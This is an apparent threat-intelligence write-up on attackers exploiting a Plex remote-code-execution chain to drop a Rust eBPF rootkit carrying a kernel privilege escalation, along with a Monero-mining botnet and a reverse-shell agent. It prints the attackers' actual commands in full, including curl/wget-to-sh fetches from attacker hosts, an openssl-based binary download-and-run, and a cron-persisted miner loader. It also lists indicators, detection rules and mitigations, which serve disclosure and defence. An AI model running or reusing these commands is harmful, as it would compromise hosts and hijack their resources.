plex2shell, part two: a Rust eBPF rootkit with Dirty Frag, and a Postgres miner botnet joins in
Follow-up to our plex2shell brief: two more operators, one shipping a VM-obfuscated eBPF rootkit behind a Cloudflare-fronted domain, one an established Postgres miner kit adding Plex as a new way in
Published 2026-10-25. Follow-up to plex2shell to Dirty Frag: Plex RCE delivering a secret-stealing XMRig dropper. Counts are a snapshot at 05:00 UTC on 2026-10-25.
Update 2026-10-26 00:45 UTC: operator B shipped a maintenance release of its kit. Between 23:02 and 23:22 UTC on 2026-10-25, 130.94.112.118 served carriers to three sensors; we decoded the one sent to the first. Its command now tries four sources for the deployer in turn: both :18899 mirrors, then https://files.catbox.moe/ef05a6.sh and https://h.uguu.se/vKfdsAVN.sh on public file-sharing sites. It runs the script only if the script contains the string BADWALLET, which is how the new deployer marks its own wallet check. Both public copies are the same new plex_deploy.sh (ed4d3e1b…, 8,306 bytes, up from 5,445). The new deployer adds catbox.moe and uguu.se fallbacks for the miner and its config, including base64-encoded miner copies for hosts that block binary downloads. The two base64 files decode to statically linked x86-64 miners b0e1ae6d… (8,297,712 bytes) and b20f39fc… (8,350,992 bytes). It also stops treating a zombie miner process as alive and keeps the existing worker name instead of minting a new one on each run. It aborts if the config lacks the Plex wallet 846TCZ29… or still carries the kit's older 47p1… wallet. The wallet, pools and relays in the public config copies are unchanged from those listed below.
Update 2026-10-26 01:15 UTC: a fifth operator, 192.255.184.39 (RackNerd, AS36352), completed the chain once, against one sensor at 19:11 UTC on 2026-10-25. It probed that sensor's /identity endpoint at 16:33 and three more sensors around 20:44. Its loader is another build of the public PoC payload (pay.c, Debian GCC 12.2.0). Its carrier host, 127.0.0.1.192-255-184-39.sslip.io:19122, starts like localhost but resolves to the attacker; no other operator in our last 30 days of Plex media fetches used that prefix. The decoded command opens a reverse shell to 192.255.184.39:19122, prints P2S_OK and STAGE2_BEGIN markers, and pipes https://xue2.jiandeng.net/o/<token>/linux into sh. That script (6d2ecbf7…) downloads a hash-pinned binary for x86_64 or arm64, saves it as pipewire in the first writable, executable directory it finds, and starts it with setsid. It installs no persistence. The binary is a Rust remote-access agent that its own symbols name orbit_agent; we found no public reference to it. This build calls home to wss://xue2.jiandeng.net:443. jiandeng.net was registered on 2026-05-21; the xue2 name resolves directly to the exploit server, and VirusTotal flags neither the domain nor the host name. Our sandbox run of the x86_64 build made no DNS queries and no outbound connections in 300 seconds, so we have not seen it talk to its server. One chain is too little to say more; indicators are in the tables below.
Executive summary
Our first plex2shell brief covered one operator and noted that others had been driving the exploit at our Plex sensors without our capturing a payload. Overnight, two of them finished the chain. Their payloads point in opposite directions. One drops a 6.4 MB Rust binary that loads six eBPF programs to hide its processes and files, block debuggers and kill signals, and rewrite what other programs read from disk. It carries the same Dirty Frag kernel exploit we found in the first operator's dropper, and it is wrapped in a virtual-machine obfuscator. The other is a cryptojacking botnet we have been watching since mid-September on Postgres, Redis and Docker. It added a Plex deployer that hides its miner inside Plex's own cache directory.
91.92.40.202 delivered plex2shell carrier videos (CVE-2026-96652/96654/96655/96656) 12 times to 10 of our sensors. Each one leads to https://cdn.valorant.su/loader, a statically linked Rust rootkit that embeds the Dirty Frag LPE (CVE-2026-43500) and installs itself as a systemd service called "System Management Daemon". The domain was registered on 2026-10-17 and sits behind Cloudflare. The download server refused our pipeline's default request with a 403 and served the file once the request carried the user agent the attacker's own script sends.
We decoded every carrier ourselves, recovered each follow-on stage, ran the rootkit in our sandbox, and analyzed it statically. We have not recovered the payload the rootkit carries: it is encrypted inside the binary, and our sandbox run did not reach the point where it is unpacked. This report says what the binary is built to do and marks what we watched it do.
Operators
| Attribute | Operator A: 91.92.40.202 | Operator B: 130.94.112.118 |
|---|---|---|
| Intent | Covert, persistent root access. The rootkit's final payload is encrypted and unrecovered, so the end goal is unconfirmed. | Monero mining through MoneroOcean, with relays and a remote control panel. |
| Exploit client | User agents poc-suite/1.0 and Go-http-client/1.1; Plex client ID vfyclient01, plus a poc_<number> ID on one request per chain. | User agent Python-urllib/3.12; the same vfyclient01 and poc_<number> client IDs. |
| Loader | Written from scratch: one 12-byte function (_p, from stage1.c, Debian GCC 14.2.0) that calls system(). | An unmodified build of the public PoC payload (pay.c, Ubuntu GCC 13.3.0). |
| Sophistication | HIGH. Custom Rust rootkit with eBPF hiding, VM obfuscation, an embedded kernel exploit, and a stage server that filters requests by user agent. | MEDIUM. A mature shell kit: version numbers in its comments, fallback mirrors, checksum checks before upgrading, wallet tamper checks, and a rival-miner cleaner. |
| History in our corpus | Ran the Plex callback and media-fetch chain against 23 sensors every day from 2026-10-19 16:29 UTC: 127 media fetches through 2026-10-24, none of whose carriers we retained. Between 2026-08-27 and 2026-09-05 the same IP logged in to our SSH sensors 722 times and ran 1,913 commands. | The kit, identified by its Monero wallet, has reached us since 2026-09-15 from 8 source IPs. Those IPs mostly hit our Postgres lures, along with Redis, Docker, Elasticsearch, MySQL and MongoDB. This IP itself tried Postgres logins on 4 sensors on 2026-10-24. |
The two operators share a scanner fingerprint: both send vfyclient01 and poc_<number> client IDs. The operator in our first brief used plexscan- IDs instead. We read the shared IDs as both operators running the same exploit script or close derivatives of it, not as evidence that they are the same actor. Their loaders, hosting, payloads and wallets do not overlap.
Infrastructure
Operator A
91.92.40.202 (AS197170 TechTies Inc., NL)
exploit + carrier server: 91-92-40-202.sslip.io:<random port>/carrier.mp4
stage server: 91-92-40-202.sslip.io:<random port>/s
output sink: 91-92-40-202.sslip.io:<port>/out/<16 hex>
|
v
cdn.valorant.su (Cloudflare-fronted; registered 2026-10-17, RU-CENTER)
GET /loader -> Rust rootkit, served only to User-Agent: Mozilla/5.0
Operator B
130.94.112.118 (AS154177 LIGHT NODE LIMITED, RO)
exploit + carrier server :20037, script mirror :18899, pool relay :10001
89.125.187.222 (AS212477 RoyaleHosting BV, NL)
script mirror :18899, control panel https://:5432
103.7.55.233 (AS57043 Hostkey B.V., DE)
pool proxy :443 / :10001, panel fallback :80 / :8443
MoneroOcean (gulf / de / fr / fi .moneroocean.stream), bore.pub relays
| Indicator | VirusTotal | Infrastructure classification |
|---|---|---|
91.92.40.202 | 8/92 malicious | Datacenter |
cdn.valorant.su | 0/92 | Cloudflare-proxied (resolves to 172.67.188.178 and 104.21.76.57) |
130.94.112.118 | 3/92 malicious | Anonymous proxy (tunnel flagged) |
89.125.187.222 | 0/92 | Datacenter |
103.7.55.233 | 0/92 | Datacenter |
Operator A never puts its own IP in a URL. Every callback, carrier and stage URL uses the sslip.io wildcard DNS name for 91.92.40.202, on a new high port each time. The rootkit download is the exception. It sits on a separate domain behind Cloudflare, so the binary's true origin is hidden and its address can't be blocked without blocking Cloudflare. Our pipeline's first fetch of /loader got a 403. The same request with User-Agent: Mozilla/5.0, the header the attacker's script sends, returned the file. The server's Last-Modified header was 2026-09-23 13:36:30 GMT, almost a month before the domain was registered on 2026-10-17, which suggests the binary predates this campaign.
The rootkit
From video to rootkit in four hops
The carrier for operator A works like the first operator's. A 640×360 MP4 hides a 13,976-byte shared object, which Plex's transcoder loads from its Codecs directory. The object holds one function in .init_array, so the loader runs it as soon as the object is loaded:
// sha256 6138d273…, function _p @ 0x1020 (12 bytes); Ghidra decompilation
void _p(void)
{
system("/bin/sh -c 'curl -fsSk --max-time 20 http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh || wget -qO- --no-check-certificate http://91-92-40-202.sslip.io:44533/s 2>/dev/null | /bin/sh' &");
}
/s is a 2,161-byte shell script. It base64-decodes a command, which base64-decodes a second command, and runs it. Then it deletes the planted zz*.so files for this target and POSTs everything the command printed to /out/<16 hex> on the same server. The three /s scripts we collected differ only in that output ID and the target's Codecs path. The inner command is identical in all three. It skips curl and wget entirely and pipes a raw HTTP request through openssl s_client:
rm -rf hi 2>/dev/null; printf "GET /loader HTTP/1.1\r\nHost: cdn.valorant.su\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n" \
| openssl s_client -quiet -ign_eof -connect cdn.valorant.su:443 -servername cdn.valorant.su 2>/dev/null \
| perl -e '…strip headers, honor Content-Length, write the body to ./hi…' \
&& chmod +x hi && ./hi -c -d 2>&1; rm -rf hi 2>/dev/null
What the binary is
a8513f37… is a 6,464,360-byte statically linked, stripped x86-64 executable built with Rust 1.98.0 for x86_64-unknown-linux-musl. Its build paths name the crate experiment. VirusTotal had already seen it: 31 of 65 engines flag it, with the consensus label trojan.getshell/dirtyfrag, and ClamAV calls it Unix.Exploit.CopyFail. Our static-analysis pipeline also flagged it as UPX-packed. That is a false positive: the binary isn't packed, and the UPX! marker sits inside a block of ordinary strings. Its dependencies tell most of the story:
| Component | Evidence in the binary | Role |
|---|---|---|
| eBPF loader | libbpf-rs 0.27.0, six generated skeletons | Loads the kernel-side hiding programs (below) |
| Obfuscation | aegis_vm 0.2.52: bytecode.rs, smc.rs, integrity.rs, string_obfuscation.rs, whitebox/cipher.rs | Virtual-machine obfuscation, self-modifying code, integrity checks, encrypted strings |
| Crypto and compression | aes-gcm, ring, hmac, sha2, zstd; source file bpf_crypto.rs | Decrypting and decompressing embedded objects |
| Network | ureq 3.4.0 over rustls 0.23.43 | HTTPS client; no hostname or URL appears in clear text |
| Embedded C | GCC: (GNU) 9.4.0 and GCC: (Debian 12.2.0) comment strings | Linked-in C code, including the kernel exploit |
Six eBPF programs
The skeleton files hide_pid.skel.rs, hide_files.skel.rs, ghost.skel.rs, anti_ptrace.skel.rs, protect_signal.skel.rs and cleaner.skel.rs are compiled in. So are the program and map names they load (ghost_files, ghost_fds, pending_reads, pending_stats, pending_ghost_dups) and their own log messages:
| Program | Log strings in the binary | What it is built to do |
|---|---|---|
hide_pid | hide_pid: add_pid, failed to register self pid | Hide the rootkit's own processes from process listings |
hide_files | hide_files add ', filename too long (max 63 bytes) | Hide named files from directory listings |
ghost | ghost kretprobe ksys_read, ghost add_path, exempt_comm update | Hook the kernel's read path so chosen files return different contents to every process except exempted ones |
anti_ptrace | anti_ptrace: add_pid, set exempt_comm | Block debuggers and tracers from attaching to protected processes |
protect_signal | protect_signal: add_pid, set exempt_comm | Block kill signals sent to protected processes |
cleaner | [cleaner] killed PID, malicious HTTP script download, exe+cwd both in suspect dir, non-system exe deleted, suspicious invocation, removed malicious script | Kill other intruders' processes and delete their scripts: anything fetching a script over HTTP with curl/wget/python, running from /tmp, /dev/shm, /var/tmp or /run/user, or running from a deleted executable |
Beyond eBPF, the userland side can rewrite other processes. Strings for an [execve] replaced arg in PID path and a [file-read] regex replaced in PID … /proc/<pid>/mem path show it patching argument vectors and file buffers in other processes' memory. A preload.rs module with HIDECOMM_SENTINEL and HIDENAMES_SENTINEL placeholders and a .so.1 suffix points to a second, LD_PRELOAD-based hider for kernels where eBPF is unavailable.
Dirty Frag, again
A block of C strings at 0x931785–0x93199b covers the same Dirty Frag technique as the exploit in the first operator's dropper:
- user-namespace setup through
/proc/self/uid_map,gid_mapandsetgroups(deny); - the strings
rxrpc,evilandevil%d, the socket family and key names the exploit uses; - the AEAD algorithm names
authencesn(hmac(sha256),cbc(aes)),authencesn(hmac(md5),ecb(cipher_null))andrfc4106(gcm(aes)); - a target file that defaults to
/etc/passwdand the replacement root entryroot::0:0, followed by/usr/bin/su; - a cleanup command,
( printf '3' > /proc/sys/vm/drop_caches ), which drops the poisoned page cache once root is obtained.
The tuning variables are named POC_TARGET_FILE, POC_UNSHARE, POC_NO_UNSHARE, LPE_SEED and LPE_MAX_ITERS, which suggests a public proof-of-concept compiled in largely as published. The CLI's --no-root and --only-root flags fit a tool that tries the exploit when it lands as the unprivileged plex user.
Persistence, anti-forensics and the hidden payload
- Persistence. A cron entry template,
/etc/cron.d/…with@reboot root <path> attach, and a systemd unit template:Description=System Management Daemon,Type=forking,ExecStart=<path> attach,Restart=on-failure,RestartSec=30. - Command line.
attach [-d|--no-root|--only-root|--fetch-only|--single|--code]ordetach./sruns it as./hi -c -d.-cis not in that usage string, and we could not confirm what it does. - Embedded payload. A
fetch_exec.rsmodule logsspawning embedded binary in memory, and/memfd:and/proc/self/fd/strings point to it running from an in-memory file, so the payload need never touch disk. We found no plaintext ELF or zstd frame inside the binary. The payload is encrypted, and we have not recovered it.
What our sandbox saw
We ran the rootkit as root, without arguments, in an isolated, egress-controlled sandbox with a 300-second window. It ran as five threads and:
- read
/etc/machine-idnine times, plus/proc/self/statand/proc/self/cgroup; - opened the login and system logs (
utmp,wtmp,lastlog,auth.log,syslog,messages,kern.log,secure,audit.log); - checked every
/etc/passwdhome directory for shell history and shell startup files; - walked the cron directories,
/etc/rc.localand/etc/profile.d; - opened
/sys/fs/bpfsix times; - read the
cmdlineorcommof every process and listed/tmp,/var/tmpand/dev/shm.
It then aborted (SIGABRT, exit 134) without opening a network connection. The file reads match the anti-forensics and the cleaner logic above. The binary contains the full log-path list and history filenames (.bash_history, .zsh_history, .sh_history). We did not observe it writing to them in this run.
The Postgres botnet that added Plex
Operator B's carrier loader is a stock build of the public PoC. It runs a one-liner that downloads plex_deploy.sh into /var/tmp and installs a once-a-minute crontab entry tagged # plex_deploy_bootstrap. The entry reruns the deployer until a .deployed marker exists. The deployer's comments are in Turkish ("Plex2Shell kurulum v3 — kalıcılık + killer bypass", roughly "Plex2Shell setup v3: persistence plus killer bypass"). It does five things:
- Finds a writable, executable working directory:
/var/tmp,/tmp,$HOME, the Plex data directory, or the Synology Plex package paths. - Downloads XMRig from
/bin/xmrigon either mirror (89.125.187.222:18899or130.94.112.118:18899), saving it asplexd. It falls back to/bin/xmrig-staticif the first build won't run, and to Python'surllibifwgetandcurlare missing. - Copies the miner into the Plex
Cachedirectory asPlexMediaScanner, the name of a real Plex helper process. The comments call this the "killer bypass": a cleanup script looking for unfamiliar processes in temp directories will pass over a Plex-named binary in a Plex directory. - Fetches
plex_exp.json, orplex_exp_light.jsonon hosts under 8 GB of RAM, and refuses to start unless it contains its own wallet prefix (846TCZ29WgxX7GDQ) and does not contain the prefix of the kit's older wallet (47p1wUQNKMAiP254). It names the workerP_<hostname>_<digits>and sets XMRig's CPU thread hint from 85% of the core count. - Installs a keeper script (
.pxagent.sh, every minute from cron) and a watchdog (.pxwd.sh, a 45-second loop), then writes a status summary to/var/tmp/.pxinfoand/tmp/.pxinfo.
The same servers host the kit's general Linux installer in three variants (lx.sh, lx_exp.sh, lx-deney.sh; deney is Turkish for "experiment"). Its header calls it run.sh v14.14. It names its miner pg_wal or xmrigMiner and runs a companion process named ccd. It kills rival Postgres-focused miners by name (kdevtmpfsi, kinsing, pg_mem, postgres-kernel, zsvc, pdefenderd, updatecheckerd) and strips their crontab entries. It mines to MoneroOcean, directly or through relays on its own servers and on bore.pub, and, in two of the three variants, reports to a panel through an XMRig cc-client block. It also drops a small Bash scanner that probes random addresses for ports 22, 5432, 6379, 3306, 1433, 2375, 9200, 27017, 15672 and 9000, and flags Redis servers that answer without authentication. Variants that carry the older wallet have reached our sensors since 2026-09-15 from hosts in 86.38.182.0/24, 217.217.233.97, files.catbox.moe and the GitLab project mogh739/metrics-agents. Plex is a new entry point for an established operation.
Observed TTPs (MITRE ATT&CK)
| Technique | Name | Evidence |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Both operators: plex2shell chain to a planted Codecs shared object |
| T1068 | Exploitation for Privilege Escalation | Operator A: embedded Dirty Frag (CVE-2026-43500) targeting /etc/passwd |
| T1014 | Rootkit | Operator A: hide_pid, hide_files, ghost eBPF programs and an LD_PRELOAD hider |
| T1543.002 | Systemd Service | Operator A: "System Management Daemon" unit running attach |
| T1053.003 | Cron | Operator A: @reboot root … attach; operator B: plex_deploy_bootstrap and .pxagent.sh entries |
| T1620 | Reflective Code Loading | Operator A: embedded binary spawned from a memfd |
| T1027 | Obfuscated Files or Information | Operator A: aegis_vm bytecode VM, self-modifying code, encrypted strings |
| T1070 | Indicator Removal | Operator A: deletion of the planted .so and the downloaded binary, drop_caches after the LPE |
| T1036.005 | Match Legitimate Name or Location | Operator B: XMRig as PlexMediaScanner in the Plex Cache directory |
| T1496 | Resource Hijacking | Operator B: XMRig to MoneroOcean |
| T1046 | Network Service Discovery | Operator B: victim-side port scanner for databases and Docker |
Timeline
86.38.182.156.Last-Modified date on the rootkit served from cdn.valorant.su/loader.valorant.su registered.130.94.112.118 tries Postgres logins on 4 sensors.6138d273…, stage port 44533.cdn.valorant.su after the first attempt is refused with a 403.130.94.112.118:20037, then plex_deploy.sh.Exploit payloads
Operator A's carrier server keeps the same port open across targets, so one carrier URL served sensors for more than 40 minutes:
http://91-92-40-202.sslip.io:43349/carrier.mp4 first served 04:10:06 UTC, last seen 05:00:12 UTC, 9 sensors
Operator B's carrier loader command, as decoded from the video:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH; D=/var/tmp; [ -d $D ] || D=/tmp; cd $D;
(wget -q http://89.125.187.222:18899/plex_deploy.sh -O pd.sh || curl -s http://89.125.187.222:18899/plex_deploy.sh -o pd.sh);
if command -v crontab >/dev/null 2>&1; then (crontab -l 2>/dev/null | grep -v plex_deploy_bootstrap;
echo "* * * * * [ -f $D/.deployed ] || /bin/sh $D/pd.sh >> $D/deploy.log 2>&1 # plex_deploy_bootstrap") | crontab - 2>/dev/null; fi;
/bin/sh pd.sh >> $D/deploy.log 2>&1
Indicators of compromise
Network
| Indicator | Role |
|---|---|
91.92.40.202 / 91-92-40-202.sslip.io | Operator A exploit, carrier, stage and output server (random high ports) |
cdn.valorant.su (/loader) | Operator A rootkit download, Cloudflare-fronted, user-agent gated |
192.255.184.39 / 127.0.0.1.192-255-184-39.sslip.io (:19122) | Fifth operator: exploit client, carrier server and reverse-shell listener |
xue2.jiandeng.net (resolves to 192.255.184.39) | Fifth operator: stage script, agent download and agent C2 (wss://…:443) |
130.94.112.118 (:20037, :18899, :10001, :443) | Operator B exploit and carrier server, script mirror, pool relay, panel fallback |
89.125.187.222 (:18899, :5432) | Operator B script mirror; HTTPS control panel on the Postgres port |
103.7.55.233 (:443, :10001, :80, :8443) | Operator B pool proxy and panel fallback |
139.99.69.109:10001 | Hard-coded pool address in operator B's config |
bore.pub:62571, :62572, :62620, :62621 | Operator B pool relays on a public tunneling service |
Files
| SHA-256 | Size | Description |
|---|---|---|
a8513f37db3089424693c687a3c64c03f36faa47d861abd0162c9bcb942c6a1f | 6,464,360 | Operator A Rust eBPF rootkit (/loader) |
6138d2730cb4cb926835a6f5d40a8bb2e58b9d57935afb1cc70dfa2c4376536a | 13,976 | Operator A carrier loader (stage port 44533) |
71092d135e5ca64c922ed52400c25bed38fcf2c02655e9bc9c68f24ea10e6ffb | 13,976 | Operator A carrier loader (stage port 42413) |
ee30da78f378b6727e7dd430a4a419c81794a94329f2e906804d6e42d6baf588 | 13,976 | Operator A carrier loader (stage port 34103) |
79d735ccdeb9b8a612e47c0f01153b942cc4b020c8720168e381e7d89090c2c6 | 8,212 | Operator A carrier MP4 |
71b9fa03f8890adf8e0fc83cbaf950a8133d0226dd26b78125b63fba4b3e2562 | 8,221 | Operator A carrier MP4 |
cb1e445f448f41c9018ece0ce264e26f97edff3ed97706854c5ecb3964e53374 | 8,224 | Operator A carrier MP4 (served to 9 sensors) |
1848f22fe4b3b13b7e206149587c40efb212a48be16550abf9c072fc3c25bc5b | 2,161 | Operator A /s stage |
88a7a71c1f5a8943bb3fa9be6b9d78a840ad5bbc732957126b9a4283fcc754e0 | 2,161 | Operator A /s stage |
55e3591e17123a8f9f9afdcf753cae03c7c990b53a041217dc24d966f603fe68 | 2,161 | Operator A /s stage |
2bb8ff409d4cc3ba63db3909b8d506d9d800ea2142ac78a13fb39171742b1f62 | 9,465 | Operator B carrier MP4 |
5dd7cc7866e11933e1b1f9ed8fb030651179113430a4c0adc3548eceb602f767 | 13,864 | Operator B carrier loader (public PoC build) |
56b1122546d77218da446247dff021daa077610e825e4c9980958aab1c23c5dc | 5,445 | Operator B plex_deploy.sh |
ed4d3e1bab3e35f6dab3ed47facfe9827622c95019030f74064ff30c97ad274c | 8,306 | Operator B plex_deploy.sh, 2026-10-25 release (also on catbox.moe / uguu.se) |
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d | 8,297,712 | Operator B miner, decoded from https://d.uguu.se/WbltoMEb.b64 |
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 | 8,350,992 | Operator B static miner, decoded from https://h.uguu.se/RQMNTTyV.b64 |
6d2ecbf76c31f01bff375a824cb50ec8bea638727b2d25b581417e77bb0f6a15 | 2,834 | Fifth operator stage script (/o/<token>/linux) |
c29ed8b47da9f0d97191db4379747b0754f6a3fa5776cb466d0c8fe12f4e9f2c | 7,421,304 | Fifth operator Orbit agent, x86_64 (dropped as pipewire) |
7716b9384895f7366990c7311cb3257450b93600cd70c19474eee3f056134c17 | 5,317,120 | Fifth operator Orbit agent, arm64 (dropped as pipewire) |
13004cea9ceaff6655b04d448f2b2420cd870de7c222a856f4de60e6f7c27fc1 | 13,776 | Fifth operator carrier loader (public pay.c) |
d0503f8387c050f99c1ffc73dc37c7fd6daaf722077f43e0a8446b2419016d75 | 26,730 | Operator B lx.sh (89.125.187.222) |
5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4 | 26,730 | Operator B lx.sh (130.94.112.118) |
3f75ef95c9e8e6a3bf2721ccb0d01eb8bad47f21554b37d96e71dfea37914c7a | 26,731 | Operator B lx_exp.sh |
4f8f58d34b17ea14939e98a906f9887c337880ba8c62ddd51938a85ac2c88966 | 26,755 | Operator B lx-deney.sh |
Host artifacts
| Artifact | Operator |
|---|---|
Codecs zz<long digits>.so (deleted after use), a short-lived ./hi in Plex's working directory | A |
systemd unit with Description=System Management Daemon and ExecStart=… attach | A |
/etc/cron.d/ entry @reboot root … attach | A |
Pinned eBPF objects or programs named hide_pid, hide_files, ghost, anti_ptrace, protect_signal, cleaner (check bpftool prog list from a trusted kernel view) | A |
/var/tmp/pd.sh, deploy.log, .deployed, .pxagent.sh, .pxwd.sh, .pxwd.pid, .pxlog, .pxinfo, plexd | B |
PlexMediaScanner inside Plex's Cache directory; crontab tags plex_deploy_bootstrap and zzcc-kd | B |
Working directories named .kd under /var/run/postgresql, /opt, $HOME, /var/tmp, /tmp or /dev/shm; processes ccd, pg_wal, xmrigMiner | B |
Wallets
846TCZ29WgxX7GDQfjmaZRBjLu9XWhJjtWoc5m2AdDXy4XUnURR8CuMAK6gdmthHXJJr6CMcSF4Na8zfGUeHhD952XrmeCn (operator B, Plex and current lx variants)
47p1wUQNKMAiP2547VLSb8EAEgKEe2MDF9S71MPkhCcd8SZMjxQe9cpQtNcyc3V8CHFdbcP9dij31MWFAZHj5EtkL3tQvhp (operator B, older kit since 2026-09-15)
Mitigations and detection
| Action | Priority | Detail |
|---|---|---|
| Update Plex Media Server | CRITICAL | Releases before 1.43.3.10861 are affected (per NVD). All four CVEs are in CISA's Known Exploited Vulnerabilities catalog. |
| Patch the kernel | CRITICAL | Operator A turns a plex-user foothold into root with CVE-2026-43500. If you cannot patch, block unprivileged user namespaces and the rxrpc module. |
| Rebuild, don't clean, hosts with operator A artifacts | CRITICAL | The rootkit hides files and processes from the running kernel and can change what file reads return. Anything you inspect from inside the host may be filtered. Examine the disk offline. |
| Hunt eBPF and units | HIGH | Look for unexpected eBPF programs (bpftool prog), a "System Management Daemon" unit, and @reboot … attach cron entries. |
| Hunt the Plex directories | HIGH | zz*.so under Codecs; any executable, especially PlexMediaScanner, under Cache. |
| Block egress | MEDIUM | Block the operator B addresses and relays above. Operator A's rootkit host is behind Cloudflare, so block cdn.valorant.su by name in DNS or your proxy. |
Suricata
alert tls $HOME_NET any -> any 443 (msg:"COWRAI plex2shell operator A rootkit host cdn.valorant.su"; flow:to_server,established; tls.sni; content:"cdn.valorant.su"; nocase; sid:9902501; rev:1;)
alert http $HOME_NET any -> any any (msg:"COWRAI plex2shell operator A stage fetch via sslip.io"; flow:to_server,established; http.host; content:"91-92-40-202.sslip.io"; nocase; sid:9902502; rev:1;)
alert http $HOME_NET any -> any 18899 (msg:"COWRAI plex2shell operator B deployer fetch"; flow:to_server,established; http.uri; content:"/plex_deploy.sh"; sid:9902503; rev:1;)
Collection methodology
All data in this report was collected organically by a distributed honeypot fleet deployed across multiple cloud providers and geographic regions. Some nodes run a Plex Media Server lure that plays the plex2shell chain just far enough to receive the attacker's carrier video, and never decodes or executes anything. Carriers were decoded offline in an isolated environment. Follow-on stages named in each decoded command were retrieved by our collection pipeline. The rootkit was run in an isolated, egress-controlled sandbox that recorded a packet capture and a file-access trace, and was analyzed statically with a disassembler. Statements about what the rootkit is built to do come from its strings, symbols and build metadata. Statements about what it did come from the sandbox run, and the text says which is which.
IP registration data and domain registration dates come from live WHOIS lookups. Reputation figures come from live VirusTotal lookups. Infrastructure classification comes from a commercial IP-intelligence API. All lookups were made on the publication date. Event counts and times were queried from the fleet's event store at write time. Times are when our collector received each event.